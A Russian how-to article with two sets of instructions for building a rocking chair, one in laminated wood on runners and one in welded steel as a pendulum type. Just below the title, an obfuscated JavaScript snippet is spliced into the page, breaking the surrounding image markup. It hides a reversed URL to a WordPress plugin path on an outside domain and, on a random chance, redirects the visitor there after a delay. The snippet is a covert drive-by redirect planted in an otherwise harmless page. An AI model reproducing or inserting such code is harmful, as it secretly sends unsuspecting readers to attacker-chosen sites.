Кресло-качалка своими руками: 2 несложные инструкции сборки

Если хотите отдыхать с комфортом, сделайте себе кресло качалку, ведь это так просто

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom-sdelayte-sebe-kres-600×449.jpg» alt=»Если хотите отдыхать с комфортом, сделайте себе кресло качалку, ведь это так просто» width=»600″ height=»449″ /> Если хотите отдыхать с комфортом, сделайте себе кресло качалку, ведь это так просто

Что может быть приятнее, чем на досуге раскачиваться в удобном кресле? К сожалению, не у всех есть такая мебель. Но я расскажу, как сделать кресло качалку своими руками из доступных материалов. Предлагаю две простые инструкции, из которых вы сможете выбрать подходящий вариант.

Какими бывают кресла качалки

Иллюстрации

Разновидность и описание

Кресло на полозьях. Это традиционная конструкция, где сиденье крепиться на изогнутых направляющих – полозьях.

Преимущество этого предмета мебели — простота сборки и невысокая цена;
Недостаток — полозья царапают пол при раскачивании.

Кресло маятникового типа. Это более сложная конструкция, в которой неподвижное основание и сиденье соединены независимо. Такое кресло устойчиво и безопасно, и при этом не портит пол.

Инструкция 1: Сборка деревянного кресла на полозьях

Иллюстрации	Описание действий
	Размеры и конфигурация кресла. На предложенной схеме я обозначил размеры кресла качалки. Тем не менее, советую скорректировать эти размеры в соответствии со своим телосложением, чтобы сделать креслокачалку своими руками максимально комфортной.
	Подбираем радиус для полозьев. На рейке делаем диагональные запилы, в которые войдут торцы фанерной полосы; Диагональные запилы располагаем друг от друга на таком расстоянии, чтобы фанера выгнулась с нужным радиусом; Глубина запилов должна быть не меньше 3 см; Запилы делаем строго перпендикулярно продольному направлению рейки, так как искривление приведёт к перекосу полозьев.
	Устанавливаем ориентир. Вставляем полосу фанеры в запилы на рейке. В нашем случае полоса имеет длину 1,2 м и расстояние от рейки до ламели в наибольшей точке изгиба составило 15 см. Прикладываем конструкцию к верстаку и обводим радиус, разметив центр на изогнутой полосе. По обведенному радиусу на верстаке выкладываем стапели и прикручиваем их саморезами к столу. На стапели прикручиваем полосу фанеры.
	Выставляем ограничители. Чтобы ламели не сползали на поверхность стола, выкладываем бруски одинаковой высоты. Бруски фиксируем на столе саморезами.
	Клеим полозья. Смазанные клеем ламели (не меньше 8 шт.) прикладываем к полосе, закреплённой на стапелях и совмещаем отметками, выставленными по центру; Первую струбцину ставим по центру и затягиваем подложив брусок. Дальше фиксируем струбцинами ламели по краям, но не затягиваем; Начиная от центра к краям, выставляем струбцины и затягиваем. После того как пакет ламелей зафиксирован, затягиваем крайние струбцины. Заготовку оставляем в неподвижном состоянии в течении 2-3 суток, пока столярный клей полностью не высохнет.
	Совмещаем полозья. Самодельные полозья выставляем друг напротив друга по отметкам на центрах; Фиксируем полозья как показано на фото поперечными перекладинами через струбцины; Проверяем, как конструкция раскачивается. На этом же этапе торцы полозьев обрезаем под прямым углом и клеим через пазы набалдашники.
	Изготавливаем усиливающие элементы. Если установить сиденье просто на деревянные полозья, они могут треснуть. Поэтому из доски вырезаем усилители – те же полозья, но менее длинные. На этом же этапе фрезером делаем пазы для соединения шплинтами полозьев с усилителем.
	Приклеиваем усилители к полозьям. Склеиваемые поверхности смазываем клеем и в технологические отверстия вставляем шплинты; Соединяем полозья с усилителем, чтобы склеиваемые поверхности соединились по всей длине; На время высыхания клея детали стягиваем струбцинами.
	Делаем боковые стойки. Вырезаем шаблонные чертежи из фанеры по форме боковой стойки. По шаблону расчерчиваем и вырезаем 6 стоек; Вырезанные из дерева заготовки с приложенным шаблоном обтачиваем на фрезере; В торцевой части каждой стойки делаем пазы под шипы, заранее установленные в усилителе полозьев.
	Приклеиваем боковые стойки. Паз в теле боковых стоек промазываем клеем, также клей наносим на шип и вокруг него; Стойку одеваем на шип и плотно прижимаем к поверхности усилителя. Аналогичные действия выполняем на двух полозьях.
	Соединяем основание. Боковины с полозьями соединяем поперечными растяжками; Соединение выполняем на саморезы, вкрученные с внешней стороны через потай.
	Собираем сиденье. Из сплошной доски вырезаем две боковины; В боковинах по внутренней стороне вырезаем продольный сплошной паз; Обе боковины соединяем между собой, вставив и зафиксировав на клее рейки; Рейки устанавливаем вплотную друг к другу без зазора. При желании рейки выставляются с зазором чтобы после выполнить плетение из ивовой лозы.
	Собираем все детали. Сиденье через клей и шипы стыкуем с бобковыми опорами. На этом же этапе вырезаем и устанавливаем подлокотники. Впоследствии кресло можно покрыть лаком.

Инструкция 2: Сборка металлического кресла маятникового типа

Иллюстрации	Описание действий
	Заготавливаем материалы и инструмент. Из материалов потребуется: профиль 15×30 мм; стальная полоса (толщина 3 мм и ширина 30 мм); пруток (кругляк) 12 мм; труба с внутренним диаметром 32 мм. Из инструмента понадобится болгарка с отрезным диском по металлу, сварочный аппарат, струбцины и измерительный инструмент. Для того чтобы работать с трубами, нужен профилегиб.
	Рисуем чертеж изделия в натуральную величину. Как показано на фото, рисуем на ровном полу боковину кресла. Чтобы упростить задачу, можно уложить на бок стул и обвести сиденье со спинкой. Размеры не даю специально, так как нужно использовать размеры того сиденья, на котором вам удобно сидеть. Чем меньше изогнутых деталей будет в конструкции изделия, тем проще будет его собрать.
	Делаем корпуса под подшипники. По ширине подшипника отмеряем и нарезаем из трубы 8 колец по числу заготовленных подшипников; С одной стороны подшипника навариваем заглушку. Для заглушки можно использовать шайбы подходящего размера. Если будете наваривать шайбы, проследите, чтобы центральное отверстие в них по диаметру было меньше заготовленного прутка.
	Собираем боковые части сиденья и спинки. По сделанном чертежу выгибаем профиль и свариваем две одинаковые боковины. Укладываем детали на рисунок и проверяем правильность сборки.
	Подготавливаем боковины основания. Выгибаем на трубогибе профиль, как это показано на фото. Таким образом делаем одинаковые 4 детали. Кстати, изогнутая деталь применена для декоративного эффекта и, если трубогиба нет, боковины можно сварить по форме трапеции.
	Собираем сиденье. Из профиля на необходимую ширину кресла (в нашем случае это 50 см) нарезаем 5 перемычек; Привариваем перемычки к боковинам и свариваем на металлическом каркасе детали стула воедино; На этом же этапе из остатков профиля выгибаем поручни и привариваем по бокам собранной конструкции.
	Обшивка каркаса сиденья. Нарезаем куски стальной полосы, по длине аналогичные уже использованным перемычкам и привариваем в каркас сиденья, как показано на фото. Интервал между приваренными кусками стальной полосы выбирайте по своему усмотрению, но это расстояние не должно превышать 5 см.
	Свариваем нижнюю опору. Ранее подготовленные изогнутые куски профиля свариваем по 2 штуки воедино. К торцам изогнутых деталей привариваем по ровному куску профиля, чтобы получилась конструкция в виде лука (1); Две готовые боковины свариваем перемычками (2) в нижней и верхней части; На сваренное основание устанавливается уже готовый стул, в нижней часть которого привариваются поперечные перемычки (3).
	Привариваем подвижные подвесы. Подшипниковые узлы вместе с установленными в них прутками привариваем в нижней части стула и в верхней части изогнутых боковин. Подшипниковые узлы на стуле и на боковинах соединяем кусками прутка одинаковой длины. Качество сварки при соединении подвесов должно быть очень высоким, так как именно на эти детали придется нагрузка от веса самого сиденья и сидящего в нем человека.
	Подставка для ног. В принципе, можно обойтись без подставки, но держать ноги на весу неудобно. Поэтому из кусков профиля и стальной полосы собирается и приваривается подставка с учетом длины ваших ног. В завершении сборки можно приварить крючок или петлю для фиксации кресла в неподвижном положении, если вам будет нужно чтобы сиденье не раскачивалось.

Подведем итоги

Теперь вы знаете, как изготавливается деревянная и металлическая качалка своими руками. Дополнительные сведения можно найти, посмотрев видео в этой статье. Если остались вопросы, их можно задать в комментариях.